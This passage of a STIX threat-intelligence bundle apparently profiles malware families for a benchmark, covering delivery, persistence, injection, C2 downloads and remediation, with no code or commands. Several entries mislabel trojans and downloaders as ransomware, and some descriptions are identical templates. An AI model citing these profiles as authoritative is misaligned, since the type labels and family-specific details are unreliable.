designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kate"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62c0a28c-d69c-56de-b813-2e8413c4103d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1eb47d3-f153-5e2d-b3e0-a401278c47cc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kate exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eac332b0-bc6e-54b1-93d1-40ed48500d4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1eb47d3-f153-5e2d-b3e0-a401278c47cc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kate exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc65409a-f6d7-5dc4-a6b0-8c5532378be0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1eb47d3-f153-5e2d-b3e0-a401278c47cc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kate exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b361ae48-fb16-530f-9692-b8bfaacf9aa7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1eb47d3-f153-5e2d-b3e0-a401278c47cc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kate exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb2fa8b9-d755-5702-8fa8-f1e8c24ca62e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1eb47d3-f153-5e2d-b3e0-a401278c47cc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kate exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--542980e4-1f19-5882-b145-4db0e3b1ef32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kates",
      "description": "Virus:Win32/Kates is a parasitic file infector virus that specifically targets executable files (`.exe` and `.dll`) on the compromised system. Unlike a trojan that acts as a standalone application, Kates physically modifies legitimate system and application files, injecting its malicious code into them to ensure execution whenever the user runs normal software, making removal incredibly difficult without damaging the OS.<br><br><b>Understanding Kates (File Infectors)</b><br>To an end-user, a Kates infection might manifest as generalized system instability, application crashes, or slow performance as the virus aggressively modifies files in the background. For an incident response team, a file infector is a worst-case scenario. It does not just establish a single persistence mechanism (`T1547`); it turns hundreds of legitimate applications into vectors for its propagation and payload execution (`T1546.008`).<br><br><b>Execution and Infection Mechanics</b><br>Upon initial execution (often via a drive-by download or infected software bundle), Kates actively scans local and mapped network drives (`T1083`) for executable files. It utilizes advanced PE (Portable Executable) infection techniques, appending its code to the target file and modifying the Entry Point (OEP) to ensure the virus runs first. When the user launches the infected application, the Kates code executes, attempts to propagate further, connects to a C2 server (often to download a secondary payload like a botnet agent or password stealer - `T1105`), and then passes control back to the legitimate application to mask its presence.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is widespread system corruption and potential data theft. Host-based IoCs include EDR alerts for mass file modification, unexpected changes to the hash values and file sizes of core system utilities (like `notepad.exe` or `calc.exe`), and legitimate applications making anomalous outbound network connections. Memory analysis will reveal malicious threads executing within the context of verified Microsoft binaries. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kates",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kates"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--c8df8345-f901-5c8c-b7d0-b0fd2bd29646",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1546.008: Event Triggered Execution: File Infection (PE Injection)",
      "description": "MITRE ATT&CK Technique T1546.008 (Event Triggered Execution: File Infection (PE Injection)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1546.008",
          "url": "https://attack.mitre.org/techniques/T1546/008/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--945039d5-9476-5dbc-b637-03948d9c808a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--542980e4-1f19-5882-b145-4db0e3b1ef32",
      "target_ref": "attack-pattern--c8df8345-f901-5c8c-b7d0-b0fd2bd29646",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kates exhibits technique T1546.008 (Event Triggered Execution: File Infection (PE Injection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28a0065b-ff5e-5dc2-b159-afd05ce768a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--542980e4-1f19-5882-b145-4db0e3b1ef32",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kates exhibits technique T1105 (Ingress Tool Transfer (Downloading secondary payloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce4f66c7-dfa9-589d-af5c-06fc8f601d6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--542980e4-1f19-5882-b145-4db0e3b1ef32",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kates exhibits technique T1083 (File and Directory Discovery (Scanning for executables to infect))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--287ff3df-3465-55c1-ab79-03797537a911",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kavos",
      "description": "<h3>Executive Summary</h3>\nKavos is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKavos is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Kavos operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Kavos ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Kavos receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Kavos infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Kavos executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Kavos frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Kavos",
        "Downloader.Kavos",
        "Win32/Kavos"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kavos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kavos"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25e33722-bb9a-5282-bffd-6ebfa8290406",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--287ff3df-3465-55c1-ab79-03797537a911",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kavos exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cb2a081-fe98-560b-9026-db419bc0044f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--287ff3df-3465-55c1-ab79-03797537a911",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kavos exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce31ad1c-6fbd-521b-bfdd-f329bb3af87e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--287ff3df-3465-55c1-ab79-03797537a911",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kavos exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2e1b4760-6cb8-57d0-bc2a-d0bc0564f1c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kaymundler",
      "description": "Adware:Win32/Kaymundler (often detected as PUA:Win32/Kaymundler) is a pervasive commercial **software bundling framework and adware injection platform**. It is designed to take legitimate freeware and 'wrap' it in a deceptive installer that uses 'Dark Patterns' to trick users into installing multiple aggressive adware payloads, browser hijackers, and potentially unwanted programs (PUAs) alongside the desired software.<br><br><b>Understanding Kaymundler and PPI Networks</b><br>To an end-user, Kaymundler appears as a standard software setup wizard. For an enterprise, it represents a significant risk of 'alert fatigue' for the SOC and a major source of Help Desk tickets due to severely degraded browser performance. The developers of the wrapper operate on a Pay-Per-Install (PPI) model, receiving financial compensation from adware vendors for every successful installation of the bundled junkware on a victim's machine.<br><br><b>Execution and Deceptive Installation Mechanics</b><br>Kaymundler is almost exclusively encountered when users download software from untrustworthy, third-party software aggregators rather than official vendor sites (`T1204.002`). Upon execution, the wrapper initiates (`T1189`). It employs Dark Patterns, such as pre-checked 'Accept' boxes buried deep in the End User License Agreement (EULA), or confusingly worded 'Decline' buttons that actually accept the offer (`T1036`). The secondary payloads then establish persistence (often via Scheduled Tasks or Registry Run keys) (`T1547.001`) and begin injecting ads into web browsers or hijacking the default search engine (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, unauthorized tracking of browsing habits, and potential exposure to more severe malware via injected malicious ads. IoCs include EDR alerts for a single downloaded executable (e.g., `setup.exe`) spawning multiple child installers (`msiexec.exe`) for unrelated software. The user will often report a suddenly changed browser homepage, new toolbars, or excessive pop-up advertisements. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kaymundler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kaymundler"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f76065aa-d2f5-5093-a6b7-391f6ea69f63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e1b4760-6cb8-57d0-bc2a-d0bc0564f1c4",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kaymundler exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab0d6c16-6145-5d46-b677-f508225efcd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e1b4760-6cb8-57d0-bc2a-d0bc0564f1c4",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kaymundler exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--796a08f3-03af-5925-ad9f-3fea7ca9899f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e1b4760-6cb8-57d0-bc2a-d0bc0564f1c4",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kaymundler exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4f2fcfa-3bdf-5b7e-84e9-3887e13f70f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e1b4760-6cb8-57d0-bc2a-d0bc0564f1c4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kaymundler exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--56265cee-0ff6-5053-9277-f26f8bab5442",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kazus",
      "description": "Trojan:Win32/Kazus is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Kazus</b><br>To an end-user, a Kazus infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Kazus is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Kazus is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Kazus frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Kazus reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kazus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kazus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98d42a4e-4309-528e-ac79-e8a8543011e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56265cee-0ff6-5053-9277-f26f8bab5442",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kazus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--363dfa6a-7676-5b56-987c-bbed113d4bde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56265cee-0ff6-5053-9277-f26f8bab5442",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kazus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5eb6418e-abd6-5df7-a905-958cf39db709",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56265cee-0ff6-5053-9277-f26f8bab5442",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kazus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a6d36d9-55ae-5ce7-9c1b-81778fb9ed43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56265cee-0ff6-5053-9277-f26f8bab5442",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kazus exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--caf94ef5-0295-5266-a214-eebc8e381d63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56265cee-0ff6-5053-9277-f26f8bab5442",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kazus exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--167ca44e-16e2-5dd1-97db-e8d1e6bdb9de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kbot",
      "description": "Trojan:Win32/Kbot is an advanced, modular botnet agent and banking trojan that shares code similarities and operational tactics with high-tier threats like Emotet or Trickbot. It is designed to establish a persistent foothold, evade analysis, and execute modules capable of stealing banking credentials, web injection, and downloading further destructive payloads (like ransomware) on behalf of affiliate threat groups (`T1056`).<br><br><b>Understanding Kbot</b><br>To an end-user, Kbot operates silently in the background, making it highly dangerous. For a security team, Kbot represents a Tier-1 threat. It is not just adware; it is a sophisticated cyber-espionage and financial fraud tool. An active Kbot infection on a corporate network often precedes a major, enterprise-wide ransomware deployment, as Kbot operators frequently sell their access to ransomware cartels.<br><br><b>Execution and Evasion Mechanics</b><br>Kbot is usually delivered via spear-phishing campaigns utilizing macro-enabled documents or weaponized ZIP files (`T1566.001`). Upon execution, it employs complex anti-analysis techniques (`T1497.001`), checking for virtual machines, debuggers, and sandbox environments. If it determines the environment is safe, it injects its core payload into legitimate Windows processes (like `svchost.exe` or `explorer.exe`) using process hollowing (`T1055.012`). It establishes persistence, often utilizing scheduled tasks, and communicates with its C2 infrastructure using encrypted channels, frequently hiding traffic within legitimate HTTPS requests. Kbot can then dynamically download modules for keylogging, form-grabbing (stealing passwords from browsers), or network reconnaissance.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from significant financial fraud (via stolen credentials) to catastrophic ransomware deployment. Host-based IoCs require robust EDR: look for suspicious process injections, unexpected child processes spawned from Office applications (the initial dropper), and anomalous scheduled tasks. Network IoCs include periodic, encrypted beaconing to unknown, high-reputation domains (if using domain fronting) or direct IP addresses. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--360d595f-72ef-5293-b9c1-317f4c02d78b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167ca44e-16e2-5dd1-97db-e8d1e6bdb9de",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kbot exhibits technique T1055.012 (Process Injection: Process Hollowing (Hiding the core module inside legitimate processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e28a8b31-6d11-5b20-9bf3-ec25e5f2925a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167ca44e-16e2-5dd1-97db-e8d1e6bdb9de",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kbot exhibits technique T1114.001 (Email Collection: Local Email Collection (Stealing outlook data and contacts for further spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f704e30-1933-5af7-bc38-d908930c23ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167ca44e-16e2-5dd1-97db-e8d1e6bdb9de",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kbot exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks (Checking for analysis tools before executing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25cb1dc4-39b8-5d9c-b083-4c51511d6a1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--167ca44e-16e2-5dd1-97db-e8d1e6bdb9de",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kbot exhibits technique T1056.001 (Input Capture: Keylogging (Stealing credentials))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97136cf7-1aee-5f74-8f5c-7ebecbcf2156",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Keenm",
      "description": "<h3>Executive Summary</h3>\nKeenm is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKeenm is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Keenm operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Keenm ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Keenm receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Keenm infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Keenm executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Keenm frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Keenm",
        "Downloader.Keenm",
        "Win32/Keenm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Keenm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/keenm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9d185a8-30c0-5aec-be84-3edf0ef2b2fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97136cf7-1aee-5f74-8f5c-7ebecbcf2156",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keenm exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
